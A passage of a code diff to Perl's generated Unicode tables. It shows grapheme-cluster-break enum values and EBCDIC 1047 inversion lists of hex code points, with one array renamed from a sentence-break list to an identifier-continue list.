GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_Other, + GCB_V, + GCB_Other, + GCB_T, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Prepend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Prepend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Control, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Regional_Indicator, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Modifier, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base_GAZ, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_Glue_After_Zwj, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_Glue_After_Zwj, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_Control, + GCB_Extend, + GCB_Control, + GCB_Extend, + GCB_Control, + GCB_Other }; -# endif /* ASCII/Latin1 */ +#endif /* defined(PERL_IN_REGEXEC_C) */ -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 +#if defined(PERL_IN_UTF8_C) -static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ - 1543, /* Number of elements */ +static const UV _Perl_IDCont_invlist[] = { /* for EBCDIC 1047 */ + 1391, /* Number of elements */ 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; + 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x5, - 0x6, - 0xB, - 0xE, - 0x15, - 0x16, - 0x25, - 0x26, - 0x40, + 0x42, 0x4A, - 0x4B, - 0x4C, - 0x4D, - 0x4E, 0x51, - 0x5B, - 0x5D, - 0x5E, - 0x60, - 0x61, + 0x5A, 0x62, 0x6A, - 0x6B, - 0x6C, - 0x6F, + 0x6D, + 0x6E, + 0x70, 0x79, - 0x7A, - 0x7B, - 0x7D, - 0x7E, - 0x7F, + 0x80, + 0x8A, + 0x8C, 0x8F, 0x91, 0x9D, @@ -340678,12 +36855,16 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xA2, 0xAA, 0xAC, + 0xAD, + 0xAE, 0xAF, 0xBA, 0xBB, - 0xBD, - 0xBE, - 0xC0, + 0xC1, + 0xCA, + 0xCB, + 0xD0, + 0xD1, 0xDA, 0xDB, 0xE0, @@ -340707,7 +36888,7 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x375, 0x376, 0x378, - 0x37A, + 0x37B, 0x37E, 0x37F, 0x380, @@ -340724,17 +36905,15 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x3F7, 0x482, 0x483, + 0x488, + 0x48A, 0x530, 0x531, 0x557, 0x559, 0x55A, - 0x55D, - 0x55E, 0x561, 0x588, - 0x589, - 0x58A, 0x591, 0x5BE, 0x5BF, @@ -340748,46 +36927,42 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x5D0, 0x5EB, 0x5F0, - 0x5F4, - 0x600, - 0x606, - 0x60C, - 0x60E, + 0x5F3, 0x610, 0x61B, - 0x61C, - 0x61D, - 0x61F, + 0x620, 0x66A, - 0x66B, - 0x66D, 0x66E, - 0x6DE, + 0x6D4, + 0x6D5, + 0x6DD, 0x6DF, 0x6E9, 0x6EA, 0x6FD, 0x6FF, - 0x703, - 0x70F, + 0x700, + 0x710, 0x74B, 0x74D, 0x7B2, 0x7C0, 0x7F6, - 0x7F8, + 0x7FA, 0x7FB, 0x800, 0x82E, 0x840, 0x85C, - 0x860, - 0x86B, 0x8A0, 0x8B5, 0x8B6, 0x8BE, 0x8D4, + 0x8E2, + 0x8E3, + 0x964, + 0x966, 0x970, 0x971, 0x984, @@ -340817,8 +36992,6 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x9E4, 0x9E6, 0x9F2, - 0x9FC, - 0x9FD, 0xA01, 0xA04, 0xA05, @@ -340878,7 +37051,7 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xAE6, 0xAF0, 0xAF9, - 0xB00, + 0xAFA, 0xB01, 0xB04, 0xB05, @@ -340993,13 +37166,15 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xCF0, 0xCF1, 0xCF3, - 0xD00, + 0xD01, 0xD04, 0xD05, 0xD0D, 0xD0E, 0xD11, 0xD12, + 0xD3B, + 0xD3D, 0xD45, 0xD46, 0xD49, @@ -341090,6 +37265,8 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xF37, 0xF38, 0xF39, + 0xF3A, + 0xF3E, 0xF48, 0xF49, 0xF6D, @@ -341102,7 +37279,7 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xFC6, 0xFC7, 0x1000, - 0x104C, + 0x104A, 0x1050, 0x109E, 0x10A0, @@ -341147,10 +37324,6 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x135B, 0x135D, 0x1360, - 0x1362, - 0x1363, - 0x1367, - 0x1369, 0x1380, 0x1390, 0x13A0, @@ -341159,8 +37332,10 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x13FE, 0x1401, 0x166D, - 0x166E, - 0x169D, + 0x166F, + 0x1680, + 0x1681, + 0x169B, 0x16A0, 0x16EB, 0x16EE, @@ -341170,7 +37345,7 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x170E, 0x1715, 0x1720, - 0x1737, + 0x1735, 0x1740, 0x1754, 0x1760, @@ -341187,12 +37362,8 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x17DE, 0x17E0, 0x17EA, - 0x1802, - 0x1804, - 0x1808, - 0x180A, 0x180B, - 0x180F, + 0x180E, 0x1810, 0x181A, 0x1820, @@ -341207,7 +37378,7 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x192C, 0x1930, 0x193C, - 0x1944, + 0x1946, 0x196E, 0x1970, 0x1975, @@ -341228,33 +37399,33 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x1A90, 0x1A9A, 0x1AA7, - 0x1AAC, + 0x1AA8, 0x1AB0, - 0x1ABF, + 0x1ABE, 0x1B00, 0x1B4C, 0x1B50, - 0x1B5C, - 0x1B5E, - 0x1B60, + 0x1B5A, 0x1B6B, 0x1B74, 0x1B80, 0x1BF4, 0x1C00, 0x1C38, - 0x1C3B, - 0x1C3D, 0x1C40, 0x1C4A, 0x1C4D, + 0x1C7E, + 0x1C80, 0x1C89, 0x1CD0, 0x1CD3, 0x1CD4, + 0x1CF7, + 0x1CF8, 0x1CFA, 0x1D00, - 0x1DFA, + 0x1DF6, 0x1DFB, 0x1F16, 0x1F18, @@ -341293,35 +37464,21 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x1FF5, 0x1FF6, 0x1FFD, - 0x2000, - 0x2010, - 0x2013, - 0x2015, - 0x2018, - 0x2020, - 0x2024, - 0x2025, - 0x2028, - 0x2030, - 0x2039, - 0x203B, - 0x203C, - 0x203E, - 0x2045, - 0x204A, - 0x205F, - 0x2065, - 0x2066, - 0x2070, + 0x203F, + 0x2041, + 0x2054, + 0x2055, 0x2071, 0x2072, - 0x207D, + 0x207F, 0x2080, - 0x208D, - 0x208F, 0x2090, 0x209D, 0x20D0, + 0x20DD, + 0x20E1, + 0x20E2, + 0x20E5, 0x20F1, 0x2102, 0x2103, @@ -341351,26 +37508,6 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x214F, 0x2160, 0x2189, - 0x2308, - 0x230C, - 0x2329, - 0x232B, - 0x24B6, - 0x24EA, - 0x275B, - 0x2761, - 0x2768, - 0x2776, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, 0x2C00, 0x2C2F, 0x2C30, @@ -341408,25 +37545,9 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x2DD8, 0x2DDF, 0x2DE0, - 0x2E0E, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E2A, - 0x2E2E, - 0x2E30, - 0x2E3C, - 0x2E3D, - 0x2E42, - 0x2E43, - 0x3000, - 0x3003, + 0x2E00, 0x3005, - 0x3012, - 0x3014, - 0x301C, - 0x301D, - 0x3020, + 0x3008, 0x3021, 0x3030, 0x3031, @@ -341444,7 +37565,7 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x30FC, 0x3100, 0x3105, - 0x312F, + 0x312E, 0x3131, 0x318F, 0x31A0, @@ -341454,25 +37575,21 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x3400, 0x4DB6, 0x4E00, - 0x9FEB, + 0x9FD6, 0xA000, 0xA48D, 0xA4D0, 0xA4FE, - 0xA4FF, + 0xA500, 0xA60D, - 0xA60E, + 0xA610, 0xA62C, 0xA640, - 0xA673, + 0xA670, 0xA674, 0xA67E, 0xA67F, 0xA6F2, - 0xA6F3, - 0xA6F4, - 0xA6F7, - 0xA6F8, 0xA717, 0xA720, 0xA722, @@ -341485,11 +37602,9 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xA828, 0xA840, 0xA874, - 0xA876, - 0xA878, 0xA880, 0xA8C6, - 0xA8CE, + 0xA8D0, 0xA8DA, 0xA8E0, 0xA8F8, @@ -341499,14 +37614,12 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xA8FE, 0xA900, 0xA92E, - 0xA92F, + 0xA930, 0xA954, 0xA960, 0xA97D, 0xA980, 0xA9C1, - 0xA9C8, - 0xA9CA, 0xA9CF, 0xA9DA, 0xA9E0, @@ -341517,13 +37630,15 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xAA4E, 0xAA50, 0xAA5A, - 0xAA5D, + 0xAA60, 0xAA77, 0xAA7A, 0xAAC3, 0xAADB, 0xAADE, 0xAAE0, + 0xAAF0, + 0xAAF2, 0xAAF7, 0xAB01, 0xAB07, @@ -341540,6 +37655,8 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xAB5C, 0xAB66, 0xAB70, + 0xABEB, + 0xABEC, 0xABEE, 0xABF0, 0xABFA, @@ -341572,59 +37689,45 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xFB46, 0xFBB2, 0xFBD3, - 0xFD40, + 0xFC5E, + 0xFC64, + 0xFD3E, 0xFD50, 0xFD90, 0xFD92, 0xFDC8, 0xFDF0, - 0xFDFC, + 0xFDFA, 0xFE00, - 0xFE12, - 0xFE13, - 0xFE14, - 0xFE17, - 0xFE19, + 0xFE10, 0xFE20, 0xFE30, - 0xFE31, 0xFE33, 0xFE35, - 0xFE45, - 0xFE47, - 0xFE49, + 0xFE4D, 0xFE50, - 0xFE53, - 0xFE55, - 0xFE5F, - 0xFE63, - 0xFE64, - 0xFE70, - 0xFE75, - 0xFE76, + 0xFE71, + 0xFE72, + 0xFE73, + 0xFE74, + 0xFE77, + 0xFE78, + 0xFE79, + 0xFE7A, + 0xFE7B, + 0xFE7C, + 0xFE7D, + 0xFE7E, + 0xFE7F, 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF02, - 0xFF08, - 0xFF0A, - 0xFF0C, - 0xFF0F, + 0xFF10, 0xFF1A, - 0xFF1B, - 0xFF1F, - 0xFF20, 0xFF21, - 0xFF3C, - 0xFF3D, - 0xFF3E, + 0xFF3B, + 0xFF3F, + 0xFF40, 0xFF41, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF65, + 0xFF5B, 0xFF66, 0xFFBF, 0xFFC2, @@ -341635,8 +37738,6 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xFFD8, 0xFFDA, 0xFFDD, - 0xFFF9, - 0xFFFC, 0x10000, 0x1000C, 0x1000D, @@ -341663,7 +37764,7 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x102E1, 0x10300, 0x10320, - 0x1032D, + 0x10330, 0x1034B, 0x10350, 0x1037B, @@ -341735,8 +37836,6 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x10A3B, 0x10A3F, 0x10A40, - 0x10A56, - 0x10A58, 0x10A60, 0x10A7D, 0x10A80, @@ -341760,13 +37859,11 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x10CC0, 0x10CF3, 0x11000, - 0x11049, + 0x11047, 0x11066, 0x11070, 0x1107F, 0x110BB, - 0x110BD, - 0x110C2, 0x110D0, 0x110E9, 0x110F0, @@ -341775,28 +37872,22 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x11135, 0x11136, 0x11140, - 0x11141, - 0x11144, 0x11150, 0x11174, 0x11176, 0x11177, 0x11180, - 0x111C7, + 0x111C5, 0x111CA, - 0x111CE, + 0x111CD, 0x111D0, 0x111DB, 0x111DC, 0x111DD, - 0x111DE, - 0x111E0, 0x11200, 0x11212, 0x11213, - 0x1123A, - 0x1123B, - 0x1123D, + 0x11238, 0x1123E, 0x1123F, 0x11280, @@ -341808,7 +37899,7 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x1128F, 0x1129E, 0x1129F, - 0x112AA, + 0x112A9, 0x112B0, 0x112EB, 0x112F0, @@ -341844,7 +37935,7 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x11370, 0x11375, 0x11400, - 0x1144D, + 0x1144B, 0x11450, 0x1145A, 0x11480, @@ -341857,12 +37948,10 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x115B6, 0x115B8, 0x115C1, - 0x115C2, - 0x115C4, - 0x115C9, + 0x115D8, 0x115DE, 0x11600, - 0x11643, + 0x11641, 0x11644, 0x11645, 0x11650, @@ -341877,24 +37966,10 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x1172C, 0x11730, 0x1173A, - 0x1173C, - 0x1173F, 0x118A0, 0x118EA, 0x118FF, 0x11900, - 0x11A00, - 0x11A3F, - 0x11A42, - 0x11A44, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, - 0x11A9B, - 0x11A9D, 0x11AC0, 0x11AF9, 0x11C00, @@ -341902,7 +37977,7 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x11C0A, 0x11C37, 0x11C38, - 0x11C43, + 0x11C41, 0x11C50, 0x11C5A, 0x11C72, @@ -341911,20 +37986,6 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x11CA8, 0x11CA9, 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, 0x12000, 0x1239A, 0x12400, @@ -341941,16 +38002,14 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x16A5F, 0x16A60, 0x16A6A, - 0x16A6E, - 0x16A70, 0x16AD0, 0x16AEE, 0x16AF0, - 0x16AF6, + 0x16AF5, 0x16B00, - 0x16B39, + 0x16B37, 0x16B40, - 0x16B45, + 0x16B44, 0x16B50, 0x16B5A, 0x16B63, @@ -341964,15 +38023,13 @@ static const UV PL_SB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x16F8F, 0x16FA0, 0x16FE0, - 0x16FE2, + 0x16FE1, 0x17000, 0x187ED, 0x18800, 0x18AF3, 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, + 